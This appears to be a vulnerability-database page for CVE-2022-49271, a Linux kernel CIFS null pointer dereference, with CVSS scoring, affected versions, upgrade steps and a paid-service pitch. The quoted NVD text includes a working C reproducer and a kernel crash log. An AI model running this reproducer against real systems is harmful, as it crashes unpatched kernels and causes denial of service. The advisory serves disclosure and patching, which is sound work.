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Linux KernelOperating system · Linux

CVE-2022-49271

MEDIUM · 5.5 CVSS v3.1 Published 2025-02-26
Fix available
A fix is available. Upgrade to 5.10.110 / 5.15.33 or later.
See remediation →
57/100
Remediation priority · Elevated
Zero-click Patch available

Official description Straight from the sourceThe vendor's or NVD's own wording, published unedited. Authoritative, but often terse — it says what broke, rarely what to do.

NVD · unedited
In the Linux kernel, the following vulnerability has been resolved: cifs: prevent bad output lengths in smb2_ioctl_query_info() When calling smb2_ioctl_query_info() with smb_query_info::flags=PASSTHRU_FSCTL and smb_query_info::output_buffer_length=0, the following would return 0x10 buffer = memdup_user(arg + sizeof(struct smb_query_info), qi.output_buffer_length); if (IS_ERR(buffer)) { kfree(vars); return PTR_ERR(buffer); } rather than a valid pointer thus making IS_ERR() check fail. This would then cause a NULL ptr deference in @buffer when accessing it later in smb2_ioctl_query_ioctl(). While at it, prevent having a @buffer smaller than 8 bytes to correctly handle SMB2_SET_INFO FileEndOfFileInformation requests when smb_query_info::flags=PASSTHRU_SET_INFO. Here is a small C reproducer which triggers a NULL ptr in @buffer when passing an invalid smb_query_info::flags #include <stdio.h> #include <stdlib.h> #include <stdint.h> #include <unistd.h> #include <fcntl.h> #include <sys/ioctl.h> #define die(s) perror(s), exit(1) #define QUERY_INFO 0xc018cf07 int main(int argc, char *argv[]) { int fd; if (argc < 2) exit(1); fd = open(argv[1], O_RDONLY); if (fd == -1) die("open"); if (ioctl(fd, QUERY_INFO, (uint32_t[]) { 0, 0, 0, 4, 0, 0}) == -1) die("ioctl"); close(fd); return 0; } mount.cifs //srv/share /mnt -o ... gcc repro.c && ./a.out /mnt/f0 [ 114.138620] general protection fault, probably for non-canonical address 0xdffffc0000000000: 0000 [#1] PREEMPT SMP KASAN NOPTI [ 114.139310] KASAN: null-ptr-deref in range [0x0000000000000000-0x0000000000000007] [ 114.139775] CPU: 2 PID: 995 Comm: a.out Not tainted 5.17.0-rc8 #1 [ 114.140148] Hardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS rel-1.15.0-0-g2dd4b9b-rebuilt.opensuse.org 04/01/2014 [ 114.140818] RIP: 0010:smb2_ioctl_query_info+0x206/0x410 [cifs] [ 114.141221] Code: 00 00 00 00 fc ff df 48 c1 ea 03 80 3c 02 00 0f 85 c8 01 00 00 48 b8 00 00 00 00 00 fc ff df 4c 8b 7b 28 4c 89 fa 48 c1 ea 03 <80> 3c 02 00 0f 85 9c 01 00 00 49 8b 3f e8 58 02 fb ff 48 8b 14 24 [ 114.142348] RSP: 0018:ffffc90000b47b00 EFLAGS: 00010256 [ 114.142692] RAX: dffffc0000000000 RBX: ffff888115503200 RCX: ffffffffa020580d [ 114.143119] RDX: 0000000000000000 RSI: 0000000000000004 RDI: ffffffffa043a380 [ 114.143544] RBP: ffff888115503278 R08: 0000000000000001 R09: 0000000000000003 [ 114.143983] R10: fffffbfff4087470 R11: 0000000000000001 R12: ffff888115503288 [ 114.144424] R13: 00000000ffffffea R14: ffff888115503228 R15: 0000000000000000 [ 114.144852] FS: 00007f7aeabdf740(0000) GS:ffff888151600000(0000) knlGS:0000000000000000 [ 114.145338] CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033 [ 114.145692] CR2: 00007f7aeacfdf5e CR3: 000000012000e000 CR4: 0000000000350ee0 [ 114.146131] Call Trace: [ 114.146291] <TASK> [ 114.146432] ? smb2_query_reparse_tag+0x890/0x890 [cifs] [ 114.146800] ? cifs_mapchar+0x460/0x460 [cifs] [ 114.147121] ? rcu_read_lock_sched_held+0x3f/0x70 [ 114.147412] ? cifs_strndup_to_utf16+0x15b/0x250 [cifs] [ 114.147775] ? dentry_path_raw+0xa6/0xf0 [ 114.148024] ? cifs_convert_path_to_utf16+0x198/0x220 [cifs] [ 114.148413] ? smb2_check_message+0x1080/0x1080 [cifs] [ 114.148766] ? rcu_read_lock_sched_held+0x3f/0x70 [ 114.149065] cifs_ioctl+0x1577/0x3320 [cifs] [ 114.149371] ? lock_downgrade+0x6f0/0x6f0 [ 114.149631] ? cifs_readdir+0x2e60/0x2e60 [cifs] [ 114.149956] ? rcu_read_lock_sched_held+0x3f/0x70 [ 114.150250] ? __rseq_handle_notify_resume+0x80b/0xbe0 [ 114.150562] ? __up_read+0x192/0x710 [ 114.150791] ? __ia32_sys_rseq+0xf0/0xf0 [ 114.151025] ? __x64_sys_openat+0x11f/0x1d0 [ 114.151296] __x64_sys_ioctl+0x127/0x190 [ 114.151549] do_syscall_64+0x3b/0x90 [ 114.151768] entry_SYSCALL_64_after_hwframe+0x44/0xae [ 114.152079] RIP: 0033:0x7f7aead043df [ 114.152306] Code: 00 48 89 44 24 18 31 c0 48 8d 44 24 60 c7 04 24 ---truncated---

Technical summary Written by usOur analysis, written from the advisory, the CVSS vector and the affected-version data. It adds context the advisory leaves out, and never invents facts that are not in the source.

dbcve analysis
How this class of weakness works · CWE-476

The code follows a pointer that is null, crashing the process. An attacker who can reliably trigger it turns the crash into a denial of service. The fix is checking for null before use and handling the failure path gracefully.

General guidance for the null pointer dereference class — the official description and references above are authoritative for this specific CVE. Want a bespoke review and a reviewed fix? Ask our team →

Affected products & versions What the vendor confirmedThe version ranges the vendor confirmed as vulnerable. If your version sits inside a range here, treat yourself as exposed until you have upgraded.

NVD · CPE data
Linux KernelOperating system
Affected:< 5.10.110>= 5.11, < 5.15.33>= 5.16, < 5.16.19>= 5.17, < 5.17.2

CVSS breakdown How the score is builtThe industry scoring standard. It rates how the flaw is reached, what it takes to exploit, and what an attacker gains — the score is derived from those, not the other way round.

From the vector
Attack vector
Local
Complexity
Low
Privileges
Low
User interaction
None
Scope
Unchanged
Confidentiality
None
Integrity
None
Availability
High

CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

Remediation Closing itWhat it takes to close this. Where a vendor fix exists we point at it; where none exists we say so plainly, and can build one. Effort estimates are scoped from the advisory, not from your codebase.

dbcve · scoped
Upgrade available Upgrade to 5.10.110 / 5.15.33 / 5.16.19 or later
Fixed in 5.10.1105.15.335.16.19
Vendor patch git.kernel.org →
Recommended fix High confidence

Linux Kernel 5.17.2 (or later stable release; alternatively 5.10.110+, 5.15.33+, or 5.16.19+ depending on your branch)

  1. 1. Identify the currently running Linux kernel version using 'uname -r'
  2. 2. Check which stable kernel branch your current version belongs to (5.10.x, 5.11-5.14.x, 5.15.x, 5.16.x, or 5.17.x)
  3. 3. For 5.10.x kernels: upgrade to kernel version 5.10.110 or later
  4. 4. For 5.11-5.14.x kernels: upgrade to kernel version 5.15.33 or later (or skip to a newer stable branch)
  5. 5. For 5.15.x kernels: upgrade to kernel version 5.15.33 or later
  6. 6. For 5.16.x kernels: upgrade to kernel version 5.16.19 or later
  7. 7. For 5.17.x kernels: upgrade to kernel version 5.17.2 or later
  8. 8. After kernel upgrade, reboot the system to load the fixed kernel
Caveat Kernel upgrades may require rebuilding out-of-tree kernel modules (like proprietary GPU drivers) and could introduce compatibility issues with existing userland tools; ensure backups and test in staging first

Generated from the published advisory — verify against the referenced sources before acting.

We can perform the upgrade in your staging environment and verify nothing breaks — typical engagement from $2,850. Get the upgrade done

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References Go to the primary sourcePrimary sources — vendor advisories, patches and trackers. Where our summary and a reference disagree, the reference wins.

Primary sources

Practitioner notes

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